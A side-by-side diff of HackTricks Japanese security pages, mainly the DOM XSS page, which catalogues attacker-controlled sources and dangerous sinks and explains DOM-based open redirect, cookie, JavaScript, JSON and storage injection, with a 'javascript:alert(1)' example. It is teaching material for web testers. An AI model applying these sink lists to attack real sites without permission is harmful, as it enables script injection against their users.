アプリケーションは、カスタム変数も使用できます。 アプリケーションは次のようなカスタム変数も使用できます:
```bash ```bash
${user} ${user}
${password} ${password}
@ -231,7 +234,7 @@ ${employee.FirstName}
``` ```
## WAF バイパス ## WAF バイパス
チェック [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/) Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
## 参考文献 ## 参考文献
@ -244,22 +247,25 @@ ${employee.FirstName}
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: 彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,31 +1,34 @@
# DOM XSS # DOM XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
## DOM脆弱性
DOM脆弱性は、攻撃者が制御する**ソース**`location.search`、`document.referrer`、`document.cookie`など)からのデータが安全でない状態で**シンク**に転送されると発生します。シンクは、悪意のあるデータが与えられると有害なコンテンツを実行またはレンダリングできる関数またはオブジェクト(例:`eval()`、`document.body.innerHTML`)です。
* **ソース**は、攻撃者によって操作可能な入力であり、URL、クッキー、Webメッセージなどが含まれます。
* **シンク**は、悪意のあるデータが有害な効果をもたらす可能性のある危険なエンドポイントであり、スクリプトの実行などが含まれます。
データが適切な検証やサニタイズなしにソースからシンクに流れると、XSSなどの攻撃が可能になります。
{% hint style="info" %}
**ソースとシンクのより最新のリストは、** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **で見つけることができます。**
{% endhint %} {% endhint %}
**一般的なソース:** ## DOM 脆弱性
DOM 脆弱性は、攻撃者が制御する **ソース**`location.search`、`document.referrer`、または `document.cookie` など)からのデータが安全でない方法で **シンク** に転送されるときに発生します。シンクは、悪意のあるデータが与えられた場合に有害なコンテンツを実行またはレンダリングできる関数やオブジェクト(例:`eval()`、`document.body.innerHTML`)です。
* **ソース** は、攻撃者によって操作可能な入力であり、URL、クッキー、ウェブメッセージを含みます。
* **シンク** は、悪意のあるデータが悪影響を及ぼす可能性のある危険なエンドポイントであり、スクリプトの実行などを引き起こす可能性があります。
リスクは、データが適切な検証やサニタイズなしにソースからシンクに流れるときに発生し、XSS のような攻撃を可能にします。
{% hint style="info" %}
**より最新のソースとシンクのリストは** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **で見つけることができます。**
{% endhint %}
**一般的なソース:**
```javascript ```javascript
document.URL document.URL
document.documentURI document.documentURI
@ -64,13 +67,13 @@ Database
| **\`\`**[**Ajaxリクエスト操作**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | | **\`\`**[**Ajaxリクエスト操作**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | | `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
| `XMLHttpRequest.send()` | [**リンク操作**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `XMLHttpRequest.send()` | [**リンク操作**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**クライアントサイドJSONインジェクション**](dom-xss.md#client-side-sql-injection) | | `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**クライアントサイドJSONインジェクション**](dom-xss.md#client-side-sql-injection) |
| **\`\`**[**HTML5ストレージ操作**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | **\`\`**[**HTML5ストレージ操作**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
| `sessionStorage.setItem()` | [**XPathインジェクション**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `sessionStorage.setItem()` | [**XPathインジェクション**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
| **``**[**`サービス拒否`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**クッキー操作**](dom-xss.md#cookie-manipulation) | | **``**[**サービス拒否**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**クッキー操作**](dom-xss.md#cookie-manipulation) |
| `requestFileSystem()` | **\`\`**[**ドキュメントドメイン操作**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `requestFileSystem()` | **\`\`**[**ドキュメントドメイン操作**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URLポイズニング**](dom-xss.md#websocket-url-poisoning) | | `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URLポイズニング**](dom-xss.md#websocket-url-poisoning) |
| [**クライアントサイドSQLインジェクション**](dom-xss.md#client-side-sql-injection) | [**Webメッセージ操作**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | [**クライアントサイドSQLインジェクション**](dom-xss.md#client-side-sql-injection) | [**Webメッセージ操作**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
@ -78,22 +81,22 @@ Database
**`innerHTML`** シンクは、現代のブラウザでは `script` 要素を受け入れず、`svg onload` イベントも発火しません。これは、`img` や `iframe` のような代替要素を使用する必要があることを意味します。 **`innerHTML`** シンクは、現代のブラウザでは `script` 要素を受け入れず、`svg onload` イベントも発火しません。これは、`img` や `iframe` のような代替要素を使用する必要があることを意味します。
この種のXSSはおそらく**最も見つけにくい**ものであり、JSコードの内部を調べ、**制御可能な値**を持つオブジェクトを使用しているかどうかを確認し、その場合は任意のJSを実行する方法があるかどうかを見る必要があります。 この種のXSSはおそらく**最も見つけにくい**ものであり、JSコードの内部を調べ、**制御できる**値を持つオブジェクトを使用しているかどうかを確認し、その場合は任意のJSを実行するために**悪用する方法があるか**を確認する必要があります。
## それらを見つけるためのツール ## それらを見つけるためのツール
* [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) * [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
* ブラウザ拡張機能を使用して潜在的なシンクに到達するすべてのデータをチェックする: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp) * 潜在的なシンクに到達するすべてのデータをチェックするブラウザ拡張: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
## 例 ## 例
### オープンリダイレクト ### オープンリダイレクト
From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) 出典: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
**DOM内のオープンリダイレクト脆弱性**は、スクリプトが、攻撃者が制御できるデータを、異なるドメイン間でナビゲーションを開始できるシンクに書き込む場合に発生します。 **DOMにおけるオープンリダイレクトの脆弱性**は、スクリプトが攻撃者が制御できるデータを、ドメイン間のナビゲーションを開始できるシンクに書き込むときに発生します。
リダイレクションが発生するURLの先頭を制御できる場合、**`javascript:alert(1)`**などの任意のコードを実行できることを理解することが重要です。 リダイレクトが発生するURLの開始部分を制御できる場合、**`javascript:alert(1)`**のような任意のコードを実行することが可能であることを理解することが重要です。
シンク: シンク:
```javascript ```javascript
@ -117,7 +120,7 @@ $.ajax()
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
DOMベースのCookie操作の脆弱性は、スクリプトが攻撃者によって制御可能なデータをクッキーの値に組み込む場合に発生します。この脆弱性により、クッキーがサイト内で使用される場合、ウェブページの予期しない動作が発生する可能性があります。さらに、クッキーがユーザーセッションの追跡に関与している場合、セッション固定攻撃を実行するために悪用される可能性があります。この脆弱性に関連する主なシンクは次のとおりです: DOMベースのクッキー操作の脆弱性は、スクリプトが攻撃者によって制御可能なデータをクッキーの値に組み込むときに発生します。この脆弱性は、クッキーがサイト内で利用される場合、ウェブページの予期しない動作を引き起こす可能性があります。さらに、クッキーがユーザーセッションの追跡に関与している場合、セッション固定攻撃を実行するために悪用される可能性があります。この脆弱性に関連する主なシンクは次のとおりです:
Sinks: Sinks:
```javascript ```javascript
@ -127,7 +130,7 @@ document.cookie
From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)
DOMベースのJavaScriptインジェクション脆弱性は、スクリプトが、攻撃者によって制御される可能性のあるデータをJavaScriptコードとして実行するときに作成されます。 DOMベースのJavaScriptインジェクション脆弱性は、攻撃者が制御できるデータをJavaScriptコードとして実行するスクリプトが実行されるときに作成されます。
Sinks: Sinks:
```javascript ```javascript
@ -142,33 +145,33 @@ msSetImmediate()
range.createContextualFragment() range.createContextualFragment()
crypto.generateCRMFRequest() crypto.generateCRMFRequest()
``` ```
### ドキュメントドメインの操作 ### Document-domain manipulation
From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
**ドキュメントドメインの操作に関する脆弱性** は、スクリプトが攻撃者が制御できるデータを使用して `document.domain` プロパティを設定する発生します。 **Document-domain manipulation vulnerabilities** は、スクリプトが攻撃者が制御できるデータを使用して `document.domain` プロパティを設定する場合に発生します。
`document.domain` プロパティは、ブラウザによる**同一オリジンポリシーの強制**において**重要な役割**を果たします。異なるオリジンからの2つのページがそれぞれ `document.domain` を**同じ値**に設定すると、制限なしに相互作用できます。ブラウザは通常、`document.domain` に割り当て可能な値に**制限**を課しており、完全に関連のない値を実際のページのオリジンに割り当てることを防いでいますが、例外が存在します。通常、ブラウザは**子ドメイン**または**親ドメイン**の使用を許可します。 `document.domain` プロパティは、ブラウザによる **same-origin policy****enforcement** において **key role** を果たします。異なるオリジンからの2つのページが `document.domain` **同じ値** に設定すると、制限なしに相互作用できます。ブラウザは `document.domain` に割り当て可能な値に対して特定の **limits** を課しますが、実際のページオリジンに無関係な値の割り当てを防ぐための例外も存在します。通常、ブラウザは **child** または **parent domains** の使用を許可します。
シンク: Sinks:
```javascript ```javascript
document.domain document.domain
``` ```
### WebSocket-URLポイズニング ### WebSocket-URL poisoning
From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
**WebSocket-URLポイズニング**は、スクリプトがWebSocket接続のターゲットURLとして**制御可能なデータを利用**する場合に発生します。 **WebSocket-URL poisoning** は、スクリプトが **制御可能なデータをWebSocket接続のターゲットURLとして利用する** 場合に発生します。
Sinks: Sinks:
`WebSocket`コンストラクタは、WebSocket-URLポイズニングの脆弱性につながる可能性があります。 `WebSocket` コンストラクタは、WebSocket-URL poisoning 脆弱性を引き起こす可能性があります。
### リンク操作 ### Link manipulation
From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation) From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
**DOMベースのリンク操作脆弱性**は、スクリプトが**攻撃者が制御可能なデータを現在のページ内のナビゲーションターゲット**クリック可能なリンクやフォームの送信URLなどに書き込む場合に発生します。 **DOMベースのリンク操作脆弱性** は、スクリプトが **攻撃者が制御可能なデータを現在のページ内のナビゲーションターゲットに書き込む** 場合に発生します。例えば、クリック可能なリンクやフォームの送信URLなどです。
Sinks: Sinks:
```javascript ```javascript
@ -176,11 +179,11 @@ someDOMElement.href
someDOMElement.src someDOMElement.src
someDOMElement.action someDOMElement.action
``` ```
### Ajax リクエスト操作 ### Ajaxリクエスト操作
From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation) From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
**Ajax リクエストの操作に関する脆弱性** は、スクリプトが `XmlHttpRequest` オブジェクトを使用して発行される Ajax リクエストに **攻撃者が制御可能なデータを書き込む** 場合に発生します。 **Ajaxリクエスト操作の脆弱性**は、スクリプトが`XmlHttpRequest`オブジェクトを使用して発行されるAjaxリクエストに**攻撃者が制御可能なデータを書き込む**ときに発生します。
Sinks: Sinks:
```javascript ```javascript
@ -190,13 +193,13 @@ XMLHttpRequest.send()
jQuery.globalEval() jQuery.globalEval()
$.globalEval() $.globalEval()
``` ```
### ローカルファイルパス操作 ### ローカルファイルパス操作
From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation) From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
**ローカルファイルパスの操作に関する脆弱性** は、スクリプトが`filename`パラメータとして**攻撃者が制御可能なデータをファイル処理APIに渡す**場合に発生します。この脆弱性は、攻撃者がURLを構築して悪用することができ、他のユーザーがそのURLを訪れると、**ユーザーのブラウザが任意のローカルファイルを開いたり書き込んだり**する可能性があります。 **ローカルファイルパス操作の脆弱性**は、スクリプトが**攻撃者が制御可能なデータをファイル処理APIに`filename`パラメータとして渡す**ときに発生します。この脆弱性は、攻撃者が他のユーザーが訪れた場合に**ユーザーのブラウザが任意のローカルファイルを開いたり書き込んだりする**URLを構築るために悪用される可能性があります。
シンク: Sinks:
```javascript ```javascript
FileReader.readAsArrayBuffer() FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString() FileReader.readAsBinaryString()
@ -210,19 +213,19 @@ FileReader.root.getFile()
From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
**クライアントサイドSQLインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータを安全でない方法でクライアントサイドSQLクエリに組み込む**場合に発生します。 **クライアントサイドSQLインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータをクライアントサイドSQLクエリに安全でない方法で組み込むとき**に発生します。
Sinks: Sinks:
```javascript ```javascript
executeSql() executeSql()
``` ```
### HTML5ストレージの操作 ### HTML5-storage manipulation
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation) From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
**HTML5ストレージの操作に関する脆弱性** は、スクリプトが攻撃者が制御可能なデータをウェブブラウザのHTML5ストレージ`localStorage`または`sessionStorage`)に保存するときに発生します。この行動自体がセキュリティ上の脆弱性であるわけではありませんが、アプリケーションがその後その保存されたデータを安全でない方法で処理すると問題が発生します。これにより、攻撃者がストレージメカニズムを利用して、クロスサイトスクリプティングやJavaScriptインジェクションなどの他のDOMベースの攻撃を実行する可能性があります。 **HTML5ストレージ操作の脆弱性**は、スクリプトが**攻撃者が制御可能なデータをウェブブラウザのHTML5ストレージ**`localStorage`または`sessionStorage`)に**保存する**ときに発生します。このアクション自体は本質的にセキュリティの脆弱性ではありませんが、アプリケーションがその後**保存されたデータを読み取り、安全でない方法で処理する**場合、問題が生じます。これにより、攻撃者はストレージメカニズムを利用して、クロスサイトスクリプティングやJavaScriptインジェクションなどの他のDOMベースの攻撃を実行することが可能になります。
シンク: Sinks:
```javascript ```javascript
sessionStorage.setItem() sessionStorage.setItem()
localStorage.setItem() localStorage.setItem()
@ -231,7 +234,7 @@ localStorage.setItem()
From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection) From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
**DOMベースのXPathインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータをXPathクエリに組み込む**場合に発生します。 **DOMベースのXPathインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータをXPathクエリに組み込む**ときに発生します。
Sinks: Sinks:
```javascript ```javascript
@ -242,7 +245,7 @@ someDOMElement.evaluate()
From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
**DOMベースのJSONインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータを含む文字列をJSONデータ構造として解析し、その後アプリケーションによって処理される**場合に発生します **DOMベースのJSONインジェクション脆弱性**は、スクリプトが**攻撃者が制御可能なデータをJSONデータ構造として解析され、その後アプリケーションによって処理される文字列に組み込むときに発生します**
Sinks: Sinks:
```javascript ```javascript
@ -250,21 +253,23 @@ JSON.parse()
jQuery.parseJSON() jQuery.parseJSON()
$.parseJSON() $.parseJSON()
``` ```
### Webメッセージの操作 ### Web-message manipulation
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation) From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
**Webメッセージの脆弱性**は、スクリプトが**攻撃者が制御可能なデータをWebメッセージとしてブラウザ内の別のドキュメントに送信する**場合に発生します。脆弱なWebメッセージの操作の**例**は、[PortSwiggerのWebセキュリティアカデミー](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)で見つけることができます。 **Web-messageの脆弱性**は、スクリプトが**攻撃者が制御可能なデータをウェブメッセージとしてブラウザ内の別のドキュメントに送信する**ときに発生します。脆弱なWeb-message操作の**例**は、[PortSwiggerのWeb Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source)で見つけることができます。
シンク: Sinks:
`postMessage()`メソッドを使用してWebメッセージを送信すると、メッセージを受信するためのイベントリスナーが受信したデータを安全でない方法で処理すると脆弱性が発生する可能性があります。 `postMessage()`メソッドを使用してウェブメッセージを送信する場合、メッセージを受信するためのイベントリスナーが受信データを安全でない方法で処理すると脆弱性が発生する可能性があります。
### DOMデータの操作 ### DOM-data manipulation
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation) From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
**DOMデータの操作の脆弱性**は、スクリプトが**DOM内のフィールドに攻撃者が制御可能なデータを書き込む**場合に発生します。この脆弱性は、攻撃者が別のユーザーが訪れると、クライアントサイドUIの外観や動作を変更できるURLを構築することができます。 **DOMデータ操作の脆弱性**は、スクリプトが**攻撃者が制御可能なデータをDOM内のフィールドに書き込む**ときに発生します。これは、可視UIまたはクライアントサイドのロジックで利用されます。この脆弱性は、攻撃者が他のユーザーが訪問した場合に、クライアントサイドのUIの外観や動作を変更するURLを構築するために悪用される可能性があります。
Sinks:
```javascript ```javascript
scriptElement.src scriptElement.src
scriptElement.text scriptElement.text
@ -293,9 +298,9 @@ history.replaceState()
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service) From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
**DOMベースのサービス拒否脆弱性**は、スクリプトが**攻撃者が制御可能なデータを安全でない方法で問題のあるプラットフォームAPIに渡す**ときに発生します。これには、呼び出されるとユーザーのコンピューターが**過剰なCPUやディスクスペースを消費する**可能性があるAPIが含まれます。このような脆弱性は、ブラウザが`localStorage`にデータを保存しようとする試みを拒否したり、ビジーなスクリプトを終了したりすることで、重大な副作用が発生する可能性があります。 **DOMベースのサービス拒否脆弱性**は、スクリプトが**攻撃者が制御可能なデータを問題のあるプラットフォームAPIに安全でない方法で渡す**ときに発生します。これには、呼び出されるとユーザーのコンピュータが**過剰なCPUまたはディスクスペースを消費する**可能性のあるAPIが含まれます。このような脆弱性は、ブラウザが`localStorage`にデータを保存しようとする試みを拒否することによってウェブサイトの機能を制限したり、忙しいスクリプトを終了させたりするなど、重大な副作用を引き起こす可能性があります。
シンク: Sinks:
```javascript ```javascript
requestFileSystem() requestFileSystem()
RegExp() RegExp()
@ -306,14 +311,17 @@ RegExp()
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,24 +1,29 @@
# XSS、CSP、SOPにおけるiframes # Iframes in XSS, CSP and SOP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
